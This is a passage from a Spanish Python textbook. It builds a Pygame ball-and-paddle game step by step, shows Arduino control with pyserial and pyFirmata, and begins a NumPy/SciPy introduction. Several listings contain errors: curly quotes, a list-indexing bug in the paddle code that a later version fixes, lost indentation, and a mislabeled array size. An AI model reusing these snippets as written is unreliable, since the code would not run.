A continuación, mostramos nuestro primero ejemplo de la utilización de la librería Pygame.

Importamos la librería Pygame y sys

```
import sys
import pygame
```

Establecemos el ancho y alto de la pantalla.

```
#Datos de Pantalla
#ancho
ANCHO = 640
#alto
ALTO = 480
```

Color inicial de la pantalla verde.

```
COLOR=(0,64,0)
```

Definimos la función main.

```
def main():
```

Arrancaremos los módulos de Pygame.

```
    pygame.init()
```

Esto mostrará una ventana del tamaño deseado.

```
    pantalla = pygame.display.set_mode((ANCHO,ALTO),0,32)
```

Cargamos la imagen.

```
    circulo = pygame.image.load('circulo.png')
```

Colocamos un título a la pantalla.

```
    pygame.display.set_caption("Mi Primer Ejemplo")
```

Creamos un área rectangular de la imagen : circulo.png

```
   arear = circulo.get_rect()
```

Definimos la velocidad de desplazamiento.

```
    desplazamiento = [3,3]
```

Creamos un ciclo infinito que se detendrá cuando se lance el evento quit de pygame.

```
    while True:
```

Rellenar la pantalla antes de dibujar pelota.

```
pantalla.fill(COLOR)
```

Mover el rectángulo de la imagen

```
arear.x =arear.x+ desplazamiento[0]
arear.y =arear.y+ desplazamiento[1]
```

Evitamos que la pelota salga por debajo o por arriba

```
if arear.top < 0:
    desplazamiento[1] = -desplazamiento[1]
if arear.right > ANCHO:
    desplazamiento[0] = -desplazamiento[0]
if arear.bottom > ALTO:
    desplazamiento[1] = -desplazamiento[1]
if arear.left < 0:
    desplazamiento[0] = -desplazamiento[0]
```

Dibujamos la imagen de la pelota en la pantalla

```
pantalla.blit(circulo, arear)
```

Actualizar la pantalla

```
pygame.display.flip()
```

Manejador de eventos

```
for evento in pygame.event.get():
    # si  el evento es cerrar
    if evento.type == pygame.QUIT:
        # salir
        sys.exit()
```

Ahora Observamos el código completo:

Juego.py

```
import sys
import pygame
ANCHO = 640
ALTO = 480
COLOR=(0,64,0)
def main():
    pygame.init()
    pantalla = pygame.display.set_mode((ANCHO,ALTO),0,32)
    circulo = pygame.image.load('circulo.png')
    pygame.display.set_caption("Mi Primer Ejemplo")
```

```
    arear = circulo.get_rect()
    desplazamiento = [3,3]
    while True:
        pantalla.fill(COLOR)
        arear.x =arear.x + desplazamiento[0]
        arear.y =arear.y + desplazamiento[1]
        if arear.top < 0:
            desplazamiento[1] = -desplazamiento[1]
        if arear.right > ANCHO:
            desplazamiento[0] = -desplazamiento[0]
        if arear.bottom > ALTO:
            desplazamiento[1] = -desplazamiento[1]
        if arear.left < 0:
            desplazamiento[0] = -desplazamiento[0]
        pantalla.blit(circulo, arear)
        pygame.display.flip()
        for evento in pygame.event.get():
            if evento.type == pygame.QUIT:
                sys.exit()
if __name__ == '__main__':
    main()
```

Ahora lo ejecutaremos.

3.1.14 Juego Creación de Pantalla

Vamos a crear y mostrar una pantalla.

Pantalla.py

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#ancho de la pantalla
ANCHO=640
#alto de la pantalla
ALTO=480
"""
Esto mostrara una ventana
del tamaño deseado
"""
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO))
#ciclo infinito
while True:
    # redibujar la pantalla
    pygame.display.flip()
```

Añadir funcionalidad de mover y cerrar la pantalla:

Pantalla.py

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa muestra
el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria paar uso de exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
"""
Esto mostrara una ventana
del tamaño deseado
"""
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO))
#ciclo infinito
while True:
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
    # redibujar la pantalla
    pygame.display.flip()
```

3.1.15 Mostrar imagen

Ahora procedemos a mostrar una imagen creando una clase pelota y controlar los eventos ocurridos:

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
```

```
#Clase pelota
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        self.image = pygame.\
            image.load('pelota.png')
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
"""
Esto mostrara una ventana
del tamaño deseado
"""
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO))
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption("juego de pelotas")
#dibujar la pelota
pelota=Pelota()
#ciclo infinito
while True:
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

```
<Event(4-MouseMotion {'pos': (541, 8), 'rel': (0, -2), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (541, 6), 'rel': (0, -2), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (542, 5), 'rel': (1, -1), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (542, 4), 'rel': (0, -1), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (543, 3), 'rel': (1, -1), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (543, 2), 'rel': (0, -1), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (543, 1), 'rel': (0, -1), 'buttons': (0, 0, 0)})>
<Event(4-MouseMotion {'pos': (543, 0), 'rel': (0, -1), 'buttons': (0, 0, 0)})>
<Event(1-ActiveEvent {'gain': 0, 'state': 1})>
<Event(1-ActiveEvent {'gain': 0, 'state': 6})>
```

Ahora cada vez que se ejecute el juego queremos crear una imagen con el nombre del autor autor.png

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 01-09-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
```

```
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
“”””
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
“”””
nombre = “Jorge Nolasco Valenzuela”
pygame.init()
my_font = pygame.font.SysFont(“arial”, 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, “autor.png”)
#Clase pelota
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        self.image = pygame.\
            image.load(‘pelota.png’)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
“”””
Esto mostrara una ventana
del tamaño deseado
“”””
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO))
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption(“juego de pelotas”)
#dibujar la pelota
pelota=Pelota()
#ciclo infinito
while True:
    #manejar o revisar eventos
```

```
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

3.1.16 Colisiones

Ahora mostraremos el manejo de colisiones dando movimiento a la pelota:

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
"""
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
"""
nombre = "Jorge Nolasco Valenzuela"
```

```
pygame.init()
my_font = pygame.font.SysFont("arial", 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, "autor.png")
#Clase pelota
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        self.image = pygame.\
            image.load('pelota.png')
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        self.rect.move_ip(self.speed)
"""
Esto mostrara una ventana
del tamaño deseado
"""
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption("juego de pelotas")
#dibujar la pelota
pelota=Pelota()
#ciclo infinito
while True:
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
```

```
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

El movimiento ocurrió muy rápido y dejó un rastro, para ello debemos usar el objeto reloj para establecer los fotogramas por segundo:

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
```

```
ALTO=480
#color inicial de la pantalla verde
COLOR=(0,64,0)
“”””
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
“”””
nombre = “Jorge Nolasco Valenzuela”
pygame.init()
my_font = pygame.font.SysFont(“arial”, 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, “autor.png”)
#Clase pelota
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        self.image = pygame.\
            image.load(‘pelota.png’)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        self.rect.move_ip(self.speed)
“”””
Esto mostrara una ventana
del tamaño deseado
“”””
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption(“juego de pelotas”)
#dibujar la pelota
pelota=Pelota()
```

```
#ciclo infinito
#crear un reloj
reloj=pygame.time.Clock()
while True:
    #establecer los fotogramas
    reloj.tick(60)
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
    #rellenar la pantalla antes de dibujar pelota
    pantalla.fill(COLOR)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

Evitar que salga de la pantalla.

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
“”””
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
“”””
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
#color inicial de la pantalla verde
COLOR=(0,64,0)
“”””
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
“”””
nombre = “Jorge Nolasco Valenzuela”
pygame.init()
my_font = pygame.font.SysFont(“arial”, 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, “autor.png”)
#Clase pelota
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        self.image = pygame.\
            image.load(‘pelota.png’)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
```

```
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        #evitar que la pelota
        #por debajo y arriba
        if self.rect.bottom>=ALTO or self.rect.top<=0:
            self.speed[1]=-self.speed[1]
        #evitar que la pelota
        #por derecha y izquierda
        if self.rect.right>=ANCHO or self.rect.left<=0:
            self.speed[0]=-self.speed[0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
"""
Esto mostrara una ventana
del tamaño deseado
"""
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption("juego de pelotas")
#dibujar la pelota
pelota=Pelota()
#ciclo infinito
#crear un reloj
reloj=pygame.time.Clock()
while True:
    #establecer los fotogramas
    reloj.tick(60)
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
    #rellenar la pantalla antes de dibujar pelota
```

```
    pantalla.fill(COLOR)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

Manejamos algunas posibles excepciones y observamos cómo se muestra la paleta:

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
```

```
ANCHO=640
#ancho de la pantalla
ALTO=480
#color inicial de la pantalla verde
COLOR=(0,64,0)
“”””
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
“”“
nombre = “Jorge Nolasco Valenzuela”
pygame.init()
my_font = pygame.font.SysFont(“arial”, 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, “autor.png”)
“”””
Clase pelota
“”””
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load(‘pelota.png’)
        except:
            print(“Errror al cargar la imagen”)
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        #evitar que la pelota
        #por debajo y arriba
```

```
        if self.rect.bottom>=ALTO or self.rect.top<=0:
            self.speed[1]=-self.speed[1]
        #evitar que la pelota
        #por derecha y izquierda
        if self.rect.right>=ANCHO or self.rect.left<=0:
            self.speed[0]=-self.speed[0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
"""
fin de Clase pelota
"""
"""
Clase paleta
"""
class Paleta(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load('paleta.png')
        except:
            print("Errror al cargar la imagen")
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion X
        self.rect.midbottom=(ANCHO/2,ALTO-20)
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[0,0]
    #metodo update que dara movimiento
    def update(self,evento):
        #presiono flecha izquierda
        if evento.key==pygame.K_LEFT:
            self.speed[-5,0]
        #presiono flecha derecha
        elif evento.key==pygame.K_RIGHT:
            self.speed[5,0]
        else:
            self.speed[0,0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
```

```
“”””
fin de Clase paleta
“”””
“”””
Esto mostrara una ventana
del tamaño deseado
“”””
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption(“juego de pelotas”)
#dibujar la pelota
pelota=Pelota()
#dibujar la paleta
paleta=Paleta()
#ciclo infinito
#crear un reloj
reloj=pygame.time.Clock()
while True:
    #establecer los fotogramas
    reloj.tick(60)
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type== pygame.QUIT:
            #salir
            sys.exit()
        #mostrando el evento ocurrido
        print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
    #rellenar la pantalla antes de dibujar pelota
    pantalla.fill(COLOR)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # dibujar la paleta en la pantalla
    pantalla.blit\
        (paleta.image,paleta.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

3.1.17 Teclado

Ahora mostraremos el manejo de teclado en base a la paleta:

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
#color inicial de la pantalla verde
COLOR=(0,64,0)
```

```
"""
generar una imagen
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
"""
nombre = "Jorge Nolasco Valenzuela"
pygame.init()
my_font = pygame.font.SysFont("arial", 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, "autor.png")
"""
Clase pelota
"""
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load('pelota.png')
        except:
            print("Errror al cargar la imagen")
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        #evitar que la pelota
        #por debajo y arriba
        if self.rect.bottom>=ALTO or self.rect.top<=0:
            self.speed[1]=-self.speed[1]
        #evitar que la pelota
        #por derecha y izquierda
        if self.rect.right>=ANCHO or self.rect.left<=0:
```

```
            self.speed[0]=-self.speed[0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
"""
fin de Clase pelota
"""
"""
Clase paleta
"""
class Paleta(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load('paleta.png')
        except:
            print("Errror al cargar la imagen")
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion X
        self.rect.midbottom=(ANCHO/2,ALTO-20)
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[0,0]
    #metodo update que dara movimiento
    def update(self,evento):
        #presiono flecha izquierda
        if evento.key == pygame.K_LEFT and self.rect.left>0:
            self.speed=[-10, 0]
        #presiono flecha derecha
        elif evento.key == pygame.K_RIGHT  and self.rect.right<ANCHO:
            self.speed=[10, 0]
        else:
            self.speed=[0,0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
"""
fin de Clase paleta
"""
"""
Esto mostrara una ventana
```

```
del tamaño deseado
“”””
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption(“juego de pelotas”)
#dibujar la pelota
pelota=Pelota()
#dibujar la paleta
paleta=Paleta()
#ciclo infinito
#crear un reloj
reloj=pygame.time.Clock()
#repetir pulsacion
pygame.key.set_repeat(60)
while True:
    #establecer los fotogramas
    reloj.tick(60)
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type==pygame.QUIT:
            #salir
            sys.exit()
        #manejo de teclado
        if evento.type==pygame.KEYDOWN:
            paleta.update(evento)
        #mostrando el evento ocurrido
        #print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
    #rellenar la pantalla antes de dibujar pelota
    pantalla.fill(COLOR)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # dibujar la paleta en la pantalla
    pantalla.blit\
        (paleta.image,paleta.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

3.1.18 Manejo de colisiones de Pelota y Paleta

```
#programa : Pantalla.py
#autor : jorge nolasco valenzuela
#fecha : 17-08-2017
"""
descripcion : este programa
muestra el uso de juegos
Creacion de pantalla
"""
#importamos la libreria de juegos
import pygame
#importamos la libreria uso exit
import sys
#ancho de la pantalla
ANCHO=640
#ancho de la pantalla
ALTO=480
#color inicial de la pantalla verde
COLOR=(0,64,0)
"""
generar una imagen
```

```
con el nombre del autor
color texto rojo:255, 0, 0
fondo blanco:
255,255,255
"""
nombre = "Jorge Nolasco Valenzuela"
pygame.init()
my_font = pygame.font.SysFont("arial", 64)
superficie = my_font.render\
    (nombre, True, (255, 0, 0), (255,255,255))
pygame.image.save(superficie, "autor.png")
"""
Clase pelota
"""
class Pelota(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load('pelota.png')
        except:
            print("Errror al cargar la imagen")
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion de la pelota
        self.rect.centerx = ANCHO/2
        self.rect.centery = ALTO/2
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[3,3]
    #metodo update que dara movimiento
    def update(self):
        #evitar que la pelota
        #por debajo y arriba
        if self.rect.bottom>=ALTO or self.rect.top<=0:
            self.speed[1]=-self.speed[1]
        #evitar que la pelota
        #por derecha y izquierda
        if self.rect.right>=ANCHO or self.rect.left<=0:
            self.speed[0]=-self.speed[0]
        #mover en base la posicion
```

```
        self.rect.move_ip(self.speed)
"""
fin de Clase pelota
"""
"""
Clase paleta
"""
class Paleta(pygame.sprite.Sprite):
    #constructor de la clase
    def __init__(self):
        pygame.sprite.Sprite.\
            __init__(self)
        #cargar la imagen
        try:
            self.image = pygame.\
                image.load('paleta.png')
        except:
            print("Errror al cargar la imagen")
            sys.exit(0)
        #rectangulo de la imagen
        self.rect=self.image.get_rect()
        #centramos posicion X
        self.rect.midbottom=(ANCHO/2,ALTO-20)
        #establecer velocidad inicial
        #velocidad pixeles x,y
        self.speed=[0,0]
    #metodo update que dara movimiento
    def update(self,evento):
        #presiono flecha izquierda
        if evento.key == pygame.K_LEFT and self.rect.left>0:
            self.speed=[-10, 0]
        #presiono flecha derecha
        elif evento.key == pygame.K_RIGHT  and self.rect.right<ANCHO:
            self.speed=[10, 0]
        else:
            self.speed=[0,0]
        #mover en base la posicion
        self.rect.move_ip(self.speed)
"""
fin de Clase paleta
"""
"""
Esto mostrara una ventana
del tamaño deseado
"""
```

```
pantalla=pygame.display\
    .set_mode((ANCHO,ALTO),0,32)
#colocamos un titulo a la pantalla
pygame.display.\
    set_caption("juego de pelotas")
#dibujar la pelota
pelota=Pelota()
#dibujar la paleta
paleta=Paleta()
#ciclo infinito
#crear un reloj
reloj=pygame.time.Clock()
#repetir pulsacion
pygame.key.set_repeat(60)
while True:
    #establecer los fotogramas
    reloj.tick(60)
    #manejar o revisar eventos
    for evento in pygame.event.get():
        #si  el evento es cerrar
        if evento.type==pygame.QUIT:
            #salir
            sys.exit()
        #manejo de teclado
        if evento.type==pygame.KEYDOWN:
            paleta.update(evento)
        #mostrando el evento ocurrido
        #print(evento)
    #actualizar la posicion de la pelota
    pelota.update()
    #colision entre pelota y paleta
    if pygame.sprite.collide_rect(pelota,paleta):
        pelota.speed[1]=-pelota.speed[1]
    #rellenar la pantalla antes de dibujar pelota
    pantalla.fill(COLOR)
    # dibujar la pelota en la pantalla
    pantalla.blit\
        (pelota.image,pelota.rect)
    # dibujar la paleta en la pantalla
    pantalla.blit\
        (paleta.image,paleta.rect)
    # redibujar la pantalla
    pygame.display.flip()
```

juego de pelotas

4

INTRODUCCIÓN ARDUINO-PYTHON

4.1 ARDUINO

Arduino es una plataforma de electrónica de código abierto basada en hardware y software fácil de usar. Las placas Arduino pueden leer entradas (luz en un sensor, un dedo en un botón o un mensaje de Twitter) y convertirlo en una salida, activar un motor, encender un LED y publicar algo en línea.

Con los años, Arduino ha sido el cerebro de miles de proyectos, desde objetos cotidianos hasta complejos instrumentos científicos. Una comunidad mundial de fabricantes (estudiantes, aficionados, artistas, programadores y profesionales) se ha reunido en torno a esta plataforma de código abierto, sus contribuciones se han añadido a una increíble cantidad de conocimiento accesible que puede ser de gran ayuda para principiantes y expertos por igual.

4.1.1 Utilizar Python en Arduino

4.1.1.1 PYSERIAL

Este módulo encapsula el acceso para el puerto serial. Proporciona back-end para Python ejecutándose en Windows, OSX, Linux, El módulo llamado "serial" selecciona automáticamente el back-end apropiado.

Instalación de Pyserial:

```
pip install pyserial
```

Antes de todo averiguamos el puerto conectado al Arduino.

```
 import serial
puerto=""
for port in range(0, 4):
    puerto = 'COM' + str(port)
    velocidad = '9600'
    try:
        Arduino = serial.Serial(puerto,velocidad)
        break
    except:
        pass
print('el puerto del arduino es: ' + puerto)
```

Ahora Escribimos los datos en Arduino Uno.

```
import serial
ser = serial.Serial("COM3",9600)
ser.write(b'hola')
ser.close()
```

Ahora leemos los datos en Arduino Uno.

```
import serial
ser = serial.Serial("COM3",9600)
```

```
while True:
    print(ser.readline())
ser.close()
```

4.1.1.2 FIRMATA

Firmata es un protocolo genérico que permite la comunicación entre el microcontrolador y el software alojado en una computadora.

4.1.1.3 PYFIRMATA

Instalación de Pyfirmata:

```
pip install pyfirmata
```

pyFirmata es una interfaz de Python para el protocolo Firmata; a continuación, realizamos una conexión con Arduino.

```
from pyfirmata import Arduino
board = Arduino('COM3')
print(board.name)
```

https://bitbucket.org/fab/pyfirmata/src/96116e8775279d2d0ae147746b6c71d868db4151/examples/?at=default

4.1.1.3.1 Encender LEDs – Pin 13

```
import pyfirmata
puerto = '\\.\COM3' #puerto
pin = (13) #pin
#conectandose con al tarjet arduino
tarjeta = pyfirmata.Arduino(puerto)
it = pyfirmata.util.Iterator(tarjeta)
it.start()
tarjeta.exit()
```

4.1.1.3.2 Parpadear LEDs – Pin 13

```
import pyfirmata
pin = 13 # Pin 12
puerto = '\\.\COM3' #puerto
# conexion con al tarjeta arduino
tarjeta = pyfirmata.Arduino(puerto)
# mientras parpadea el LEDs
```

```
while True:
    tarjeta.digital[pin].write(1)
    tarjeta.pass_time(4)
    tarjeta.digital[pin].write(0)
    tarjeta.pass_time(4)
tarjeta.exit()
```

4.1.1.4 ARDUINO-PYTHON

La Arduino-Python es una biblioteca de Python liviana para comunicarse con las placas de microcontroladores Arduino desde una computadora conectada usando puertos serial, ya sea a través de un cable físico o de forma inalámbrica.

4.1.1.4.1 Parpadear LEDs – Pin 13

```
from Arduino import Arduino
tarjeta = Arduino('9600')
tarjeta.pinMode(13, "salida")
tarjeta.digitalWrite(13, "HIGH")
```

5

SCIPY

5.1 SCIPY

SciPy es una colección de algoritmos matemáticos y funciones de conveniencia basadas en la extensión Numpy de Python. Agrega una potencia significativa a la sesión interactiva de Python al proporcionar al usuario comandos y clases de alto nivel para manipular y visualizar datos. Con SciPy, una sesión interactiva de Python se convierte en un entorno de procesamiento de datos y prototipo de sistema que rivaliza con sistemas como MATLAB, IDL, Octave, R-Lab y SciLab.

El beneficio adicional de basar SciPy en Python es que esto también hace que un poderoso lenguaje de programación esté disponible para usar en el desarrollo de programas sofisticados y aplicaciones especializadas. Las aplicaciones científicas que utilizan SciPy se benefician del desarrollo de módulos adicionales en numerosos nichos del panorama del software por parte de desarrolladores de todo el mundo. Todo, desde la programación paralela a la web y las subrutinas y clases basadas en datos, se han puesto a disposición del programador de Python. Todo este poder está disponible además de las bibliotecas matemáticas en SciPy.

Este tutorial familiarizará al usuario primerizo de SciPy con algunas de sus características más importantes. Supone que el usuario ya ha instalado el paquete SciPy. También se asumen algunas facilidades generales de Python, como las que

se pueden obtener al trabajar a través del Tutorial de distribución de Python. Para obtener más ayuda introductoria, el usuario se dirige a la documentación de Numpy.

Scipy se basa en Numpy, y para todas las necesidades básicas de manejo de matriz puede usar las funciones de Numpy:

```
import numpy as np
```

NumPy es el paquete fundamental de Python para la informática científica. Agrega las capacidades de matrices N-dimensionales.

5.1.1 Creando Arreglos

El **ndarray** es similar a las listas, pero en lugar de ser muy flexible al almacenar diferentes tipos de objetos en una lista, solo el mismo tipo de elemento se puede almacenar en cada columna.

A continuación, creamos un arreglo con 7 elementos:

```
arreglo = np.array([0,1,2,3,4,5])
```

```
[0 1 2 3 4 5]
```

A continuación, creamos un arreglo con 7 elementos:

```
Arreglo1 = np.arange(7)
```

```
